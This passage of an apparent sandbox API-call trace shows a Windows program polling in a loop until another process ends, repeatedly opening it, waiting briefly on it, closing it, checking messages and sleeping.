out: lpMsg=0x238ff68) returned 0 [0112.673] Sleep (dwMilliseconds=0x1) [0112.688] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.688] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.704] CloseHandle (hObject=0x3c4) returned 1 [0112.704] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.704] Sleep (dwMilliseconds=0x1) [0112.719] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.719] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.735] CloseHandle (hObject=0x3c4) returned 1 [0112.735] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.735] Sleep (dwMilliseconds=0x1) [0112.751] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.751] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.766] CloseHandle (hObject=0x3c4) returned 1 [0112.766] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.766] Sleep (dwMilliseconds=0x1) [0112.782] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.782] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.797] CloseHandle (hObject=0x3c4) returned 1 [0112.797] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.797] Sleep (dwMilliseconds=0x1) [0112.815] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.816] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.829] CloseHandle (hObject=0x3c4) returned 1 [0112.829] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.829] Sleep (dwMilliseconds=0x1) [0112.852] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.852] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.860] CloseHandle (hObject=0x3c4) returned 1 [0112.860] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.860] Sleep (dwMilliseconds=0x1) [0112.876] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.876] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.891] CloseHandle (hObject=0x3c4) returned 1 [0112.891] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.891] Sleep (dwMilliseconds=0x1) [0112.907] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.907] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.922] CloseHandle (hObject=0x3c4) returned 1 [0112.922] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.922] Sleep (dwMilliseconds=0x1) [0112.939] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.939] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.953] CloseHandle (hObject=0x3c4) returned 1 [0112.954] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.954] Sleep (dwMilliseconds=0x1) [0112.969] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0112.969] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0112.985] CloseHandle (hObject=0x3c4) returned 1 [0112.985] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0112.985] Sleep (dwMilliseconds=0x1) [0113.000] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.000] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.022] CloseHandle (hObject=0x3c4) returned 1 [0113.022] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.022] Sleep (dwMilliseconds=0x1) [0113.033] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.033] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.047] CloseHandle (hObject=0x3c4) returned 1 [0113.047] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.047] Sleep (dwMilliseconds=0x1) [0113.063] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.063] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.078] CloseHandle (hObject=0x3c4) returned 1 [0113.078] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.078] Sleep (dwMilliseconds=0x1) [0113.113] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.113] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.125] CloseHandle (hObject=0x3c4) returned 1 [0113.125] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.125] Sleep (dwMilliseconds=0x1) [0113.142] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.142] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.169] CloseHandle (hObject=0x3c4) returned 1 [0113.169] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.169] Sleep (dwMilliseconds=0x1) [0113.174] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.174] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.191] CloseHandle (hObject=0x3c4) returned 1 [0113.191] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.191] Sleep (dwMilliseconds=0x1) [0113.206] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.206] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.224] CloseHandle (hObject=0x3c4) returned 1 [0113.224] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.224] Sleep (dwMilliseconds=0x1) [0113.234] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.234] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.252] CloseHandle (hObject=0x3c4) returned 1 [0113.252] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.252] Sleep (dwMilliseconds=0x1) [0113.270] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.270] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.281] CloseHandle (hObject=0x3c4) returned 1 [0113.281] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.281] Sleep (dwMilliseconds=0x1) [0113.297] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.297] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.324] CloseHandle (hObject=0x3c4) returned 1 [0113.324] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.324] Sleep (dwMilliseconds=0x1) [0113.328] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.328] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.345] CloseHandle (hObject=0x3c4) returned 1 [0113.346] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.346] Sleep (dwMilliseconds=0x1) [0113.377] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.377] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.390] CloseHandle (hObject=0x3c4) returned 1 [0113.390] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.390] Sleep (dwMilliseconds=0x1) [0113.406] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.406] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.422] CloseHandle (hObject=0x3c4) returned 1 [0113.422] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.422] Sleep (dwMilliseconds=0x1) [0113.437] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.437] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.452] CloseHandle (hObject=0x3c4) returned 1 [0113.453] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.453] Sleep (dwMilliseconds=0x1) [0113.468] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.468] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.484] CloseHandle (hObject=0x3c4) returned 1 [0113.484] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.484] Sleep (dwMilliseconds=0x1) [0113.499] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3c4 [0113.500] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xa) returned 0x102 [0113.515] CloseHandle (hObject=0x3c4) returned 1 [0113.515] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.515] Sleep (dwMilliseconds=0x1) [0113.538] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3d8 [0113.538] WaitForSingleObject (hHandle=0x3d8, dwMilliseconds=0xa) returned 0x102 [0113.556] CloseHandle (hObject=0x3d8) returned 1 [0113.557] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.557] Sleep (dwMilliseconds=0x1) [0113.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3e8 [0113.570] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0xa) returned 0x102 [0113.579] CloseHandle (hObject=0x3e8) returned 1 [0113.579] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.579] Sleep (dwMilliseconds=0x1) [0113.596] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x3fc [0113.596] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0xa) returned 0x102 [0113.609] CloseHandle (hObject=0x3fc) returned 1 [0113.609] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.609] Sleep (dwMilliseconds=0x1) [0113.630] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x418 [0113.631] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0xa) returned 0x102 [0113.643] CloseHandle (hObject=0x418) returned 1 [0113.643] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.643] Sleep (dwMilliseconds=0x1) [0113.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x434 [0113.657] WaitForSingleObject (hHandle=0x434, dwMilliseconds=0xa) returned 0x102 [0113.674] CloseHandle (hObject=0x434) returned 1 [0113.674] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.674] Sleep (dwMilliseconds=0x1) [0113.695] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x458 [0113.695] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0xa) returned 0x102 [0113.702] CloseHandle (hObject=0x458) returned 1 [0113.702] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.702] Sleep (dwMilliseconds=0x1) [0113.718] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x458 [0113.718] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0xa) returned 0x102 [0113.733] CloseHandle (hObject=0x458) returned 1 [0113.733] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.733] Sleep (dwMilliseconds=0x1) [0113.749] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x458 [0113.749] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0xa) returned 0x102 [0113.764] CloseHandle (hObject=0x458) returned 1 [0113.765] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.765] Sleep (dwMilliseconds=0x1) [0113.780] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x46c [0113.780] WaitForSingleObject (hHandle=0x46c, dwMilliseconds=0xa) returned 0x102 [0113.798] CloseHandle (hObject=0x46c) returned 1 [0113.798] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.798] Sleep (dwMilliseconds=0x1) [0113.812] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x47c [0113.812] WaitForSingleObject (hHandle=0x47c, dwMilliseconds=0xa) returned 0x102 [0113.832] CloseHandle (hObject=0x47c) returned 1 [0113.832] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.832] Sleep (dwMilliseconds=0x1) [0113.843] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x4a8 [0113.843] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0xa) returned 0x102 [0113.859] CloseHandle (hObject=0x4a8) returned 1 [0113.859] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.859] Sleep (dwMilliseconds=0x1) [0113.874] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x4b8 [0113.874] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xa) returned 0x102 [0113.890] CloseHandle (hObject=0x4b8) returned 1 [0113.890] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.890] Sleep (dwMilliseconds=0x1) [0113.911] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x4c8 [0113.911] WaitForSingleObject (hHandle=0x4c8, dwMilliseconds=0xa) returned 0x102 [0113.923] CloseHandle (hObject=0x4c8) returned 1 [0113.923] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.923] Sleep (dwMilliseconds=0x1) [0113.937] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x4fc [0113.937] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0xa) returned 0x102 [0113.952] CloseHandle (hObject=0x4fc) returned 1 [0113.952] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.952] Sleep (dwMilliseconds=0x1) [0113.968] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x560 [0113.968] WaitForSingleObject (hHandle=0x560, dwMilliseconds=0xa) returned 0x102 [0113.983] CloseHandle (hObject=0x560) returned 1 [0113.983] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0113.983] Sleep (dwMilliseconds=0x1) [0113.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x594 [0113.999] WaitForSingleObject (hHandle=0x594, dwMilliseconds=0xa) returned 0x102 [0114.014] CloseHandle (hObject=0x594) returned 1 [0114.014] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.014] Sleep (dwMilliseconds=0x1) [0114.032] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x5bc [0114.032] WaitForSingleObject (hHandle=0x5bc, dwMilliseconds=0xa) returned 0x102 [0114.046] CloseHandle (hObject=0x5bc) returned 1 [0114.046] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.046] Sleep (dwMilliseconds=0x1) [0114.064] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x5ec [0114.064] WaitForSingleObject (hHandle=0x5ec, dwMilliseconds=0xa) returned 0x102 [0114.077] CloseHandle (hObject=0x5ec) returned 1 [0114.077] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.077] Sleep (dwMilliseconds=0x1) [0114.092] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x650 [0114.092] WaitForSingleObject (hHandle=0x650, dwMilliseconds=0xa) returned 0x102 [0114.109] CloseHandle (hObject=0x650) returned 1 [0114.109] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.109] Sleep (dwMilliseconds=0x1) [0114.124] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6b4 [0114.124] WaitForSingleObject (hHandle=0x6b4, dwMilliseconds=0xa) returned 0x102 [0114.139] CloseHandle (hObject=0x6b4) returned 1 [0114.139] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.139] Sleep (dwMilliseconds=0x1) [0114.155] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6b4 [0114.155] WaitForSingleObject (hHandle=0x6b4, dwMilliseconds=0xa) returned 0x102 [0114.176] CloseHandle (hObject=0x6b4) returned 1 [0114.176] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.176] Sleep (dwMilliseconds=0x1) [0114.186] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6c0 [0114.186] WaitForSingleObject (hHandle=0x6c0, dwMilliseconds=0xa) returned 0x102 [0114.201] CloseHandle (hObject=0x6c0) returned 1 [0114.201] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.201] Sleep (dwMilliseconds=0x1) [0114.217] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6c0 [0114.217] WaitForSingleObject (hHandle=0x6c0, dwMilliseconds=0xa) returned 0x102 [0114.233] CloseHandle (hObject=0x6c0) returned 1 [0114.233] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.233] Sleep (dwMilliseconds=0x1) [0114.249] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6c0 [0114.249] WaitForSingleObject (hHandle=0x6c0, dwMilliseconds=0xa) returned 0x102 [0114.264] CloseHandle (hObject=0x6c0) returned 1 [0114.264] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.264] Sleep (dwMilliseconds=0x1) [0114.279] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6c0 [0114.279] WaitForSingleObject (hHandle=0x6c0, dwMilliseconds=0xa) returned 0x102 [0114.295] CloseHandle (hObject=0x6c0) returned 1 [0114.295] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.295] Sleep (dwMilliseconds=0x1) [0114.311] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6c0 [0114.311] WaitForSingleObject (hHandle=0x6c0, dwMilliseconds=0xa) returned 0x102 [0114.326] CloseHandle (hObject=0x6c0) returned 1 [0114.326] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.326] Sleep (dwMilliseconds=0x1) [0114.342] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6e4 [0114.342] WaitForSingleObject (hHandle=0x6e4, dwMilliseconds=0xa) returned 0x102 [0114.357] CloseHandle (hObject=0x6e4) returned 1 [0114.357] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.357] Sleep (dwMilliseconds=0x1) [0114.373] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6e4 [0114.373] WaitForSingleObject (hHandle=0x6e4, dwMilliseconds=0xa) returned 0x102 [0114.389] CloseHandle (hObject=0x6e4) returned 1 [0114.389] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.389] Sleep (dwMilliseconds=0x1) [0114.405] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6fc [0114.405] WaitForSingleObject (hHandle=0x6fc, dwMilliseconds=0xa) returned 0x102 [0114.420] CloseHandle (hObject=0x6fc) returned 1 [0114.420] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.420] Sleep (dwMilliseconds=0x1) [0114.436] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6fc [0114.436] WaitForSingleObject (hHandle=0x6fc, dwMilliseconds=0xa) returned 0x102 [0114.461] CloseHandle (hObject=0x6fc) returned 1 [0114.461] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.461] Sleep (dwMilliseconds=0x1) [0114.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6fc [0114.466] WaitForSingleObject (hHandle=0x6fc, dwMilliseconds=0xa) returned 0x102 [0114.482] CloseHandle (hObject=0x6fc) returned 1 [0114.482] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.482] Sleep (dwMilliseconds=0x1) [0114.498] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0x6fc [0114.498] WaitForSingleObject (hHandle=0x6fc, dwMilliseconds=0xa) returned 0x102 [0114.513] CloseHandle (hObject=0x6fc) returned 1 [0114.513] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0114.514] Sleep 